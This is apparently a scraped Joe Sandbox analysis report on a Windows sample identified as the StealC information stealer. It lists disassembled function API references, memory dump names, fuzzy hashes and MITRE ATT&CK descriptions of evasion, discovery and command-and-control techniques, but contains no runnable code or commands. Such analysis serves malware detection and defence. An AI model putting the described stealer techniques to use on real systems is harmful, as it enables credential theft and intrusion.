wsprintfA.USER32 ref: 005379F3

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 0282032562c20e375336e3c1e79c4232a26eae1ee4b4bd54682ca81a53fd6a3c
Instruction ID: 3e48296acda297816421f05f27733aa28cbf18b678dc07e3c7d0bddc4bdb506c
Opcode Fuzzy Hash: 0282032562c20e375336e3c1e79c4232a26eae1ee4b4bd54682ca81a53fd6a3c
Instruction Fuzzy Hash: 5A112AB2904219ABCB14DFC9DD45BBEBBF8FB4CB11F10411AF606A2280D27D5940CBB5

Function 0053C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0053C74E

Part of subcall function 0053BF9F: __amsg_exit.LIBCMT ref: 0053BFAF

__getptd.LIBCMT ref: 0053C765
__amsg_exit.LIBCMT ref: 0053C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0053C797

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 63703ceff800568f1488e77ec03f7922d4dbc35c04c99f2317d32491932c3fe6
Instruction ID: edaf29ee9f50685b5c547b441cbe6e6f80d906134043d90e0eac0ed683dc747a
Opcode Fuzzy Hash: 63703ceff800568f1488e77ec03f7922d4dbc35c04c99f2317d32491932c3fe6
Instruction Fuzzy Hash: 3FF0BE369047029BE721BBB8980FB9E3FA0BF80724F20414DFA04B72D2DB6469419F56

Function 00534F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

lstrcat.KERNEL32(?,00000000), ref: 00534F7A
lstrcat.KERNEL32(?,00541070), ref: 00534F97
lstrcat.KERNEL32(?,00F19A50), ref: 00534FAB
lstrcat.KERNEL32(?,00541074), ref: 00534FBD

Part of subcall function 00534910: wsprintfA.USER32 ref: 0053492C
Part of subcall function 00534910: FindFirstFileA.KERNEL32(?,?), ref: 00534943

Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,00540FDC), ref: 00534971
Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,00540FE0), ref: 00534987
Part of subcall function 00534910: FindNextFileA.KERNEL32(000000FF,?), ref: 00534B7D
Part of subcall function 00534910: FindClose.KERNEL32(000000FF), ref: 00534B92

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 4d68c304a26d7ea43a4de60dbe60aacefdc2a60d7bc574e25a96998a5b09425b
Instruction ID: f351bc6625e183446bfe00554ea38bcaff846762958ad2acfa037009363d7214
Opcode Fuzzy Hash: 4d68c304a26d7ea43a4de60dbe60aacefdc2a60d7bc574e25a96998a5b09425b
Instruction Fuzzy Hash: 0321657690030567C754F760EC4AEEE373CBB94300F008554B65BA3181EEB596C88F96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00539860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 005245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00524880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00539C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00526280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00535510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 005317A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00537500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 005369F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00521220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00536AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 005247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 005351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON